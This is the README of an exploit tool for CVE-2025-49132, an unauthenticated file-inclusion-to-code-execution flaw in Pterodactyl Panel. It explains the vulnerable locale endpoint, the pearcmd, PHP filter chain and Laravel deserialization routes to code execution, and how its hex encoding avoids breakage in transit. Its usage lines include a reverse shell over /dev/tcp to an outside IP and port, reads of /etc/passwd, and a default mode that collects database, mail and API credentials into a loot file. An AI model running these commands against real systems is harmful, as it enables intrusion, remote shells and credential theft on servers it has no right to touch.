CVE-2025-49132 - Pterodactyl Panel Unauthenticated RCE

  ___ __   __ ___      ___   ___  ___  ___        _  _   ___  _  ____  ___ 
 / __|\ \ / /| __|___ |_  ) / _ \|_  )| __|___   | || | / _ \| ||__ / |_  )
| (__  \ V / | _|___|  / / | (_) |/ / |__ \___|  |_  _| \_, /| ||_ \  / / 
 \___|  \_/  |___|    /___| \___//___||___/        |_|   /_/ |_|___/ /___|

Exploit for Pterodactyl Panel ≤ 1.11.10 - unauthenticated LFI to RCE.

The /locales/locale.json endpoint accepts locale and namespace parameters that are passed directly to PHP's include() without sanitization or authentication. The hash parameter intended to prevent abuse is never enforced on unpatched versions.

This allows:

• Local File Inclusion (LFI) - Read any .php config file (database creds, APP_KEY, mail, session…)
• Remote Code Execution (RCE) - Via pearcmd.php inclusion (register_argc_argv + config-create trick), PHP filter chains, or Laravel deserialization with the leaked APP_KEY

Affected: Pterodactyl Panel ≤ 1.11.10 Fixed in: 1.11.11

The original PoCs use Python requests to send the pearcmd payload. The problem: requests silently URL-encodes characters like <, >, {, } - which breaks the PHP tags (<?=system(...)?>) embedded in the URL.

This exploit fixes that with two key changes:

1. curl for Stage 1 - The payload creation request uses curl -g (globoff) via subprocess, bypassing Python's URL encoding entirely.
2. hex2bin() for command encoding - Instead of injecting the raw command (which breaks on spaces and special chars), the command is hex-encoded and decoded server-side with system(hex2bin('...')). Hex only uses 0-9a-f - no +, no =, no &, no spaces. This means any command works, including reverse shells with >& and /dev/tcp/.
3. Dynamic PEAR Path - Unlike many static scripts that hardcode /usr/share/php, this tool fully supports the --pear-dir argument. It dynamically injects the custom path into the raw curl request, allowing exploitation of targets with non-standard configurations.
4. All-in-One Automation - Instead of relying on separate scripts for different vectors, this tool fully automates the entire attack surface (pearcmd, PHP Filters, Deserialization, LFI .php), checking every possibility to guarantee the most reliable RCE path.

pip install requests

Optional (for filter chain / deserialization RCE methods):

pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator

# Simple command
python3 exploit.py http://panel.fr --rce-cmd "id"

# PHP filter chain (needs php_filter_chain_generator in PATH)
python3 exploit.py http://panel.fr --rce-filter "id"

# Pre-generated filter chain
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."

# Laravel deserialization via leaked APP_KEY (needs phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"

# RCE with another pear directory
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR

# Reverse shell 
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"

# Dumps all configs (DB creds, APP_KEY, mail, session, CORS…) + attempts auto RCE
python3 exploit.py http://panel.fr

When run without --rce-cmd / --rce-filter / --rce-d, the exploit performs a full config extraction:

• Database - MySQL host, port, user, password, database name + Redis config
• Application - APP_KEY (→ Laravel deserialization), version, environment, debug mode
• Pterodactyl - Panel-specific settings, 2FA config, feature flags
• Session - Driver, cookie config, encryption settings
• Auth - Lockout config, password reset expiry
• Services - External API keys (Mailgun, Postmark, etc.)
• Mail - SMTP credentials, mailer config
• Queue / Cache / Hashing / CORS / Logging / Filesystems
• Sensitive files - Attempts to read /etc/passwd, hostname, kernel version

A full JSON report is saved to loot.json (or custom path via -o).

This exploit is an improvement based on the PoC from GRodolphe/CVE-2025-49132_poc, itself inspired by the original PoC from 0xtensho/CVE-2025-49132-poc.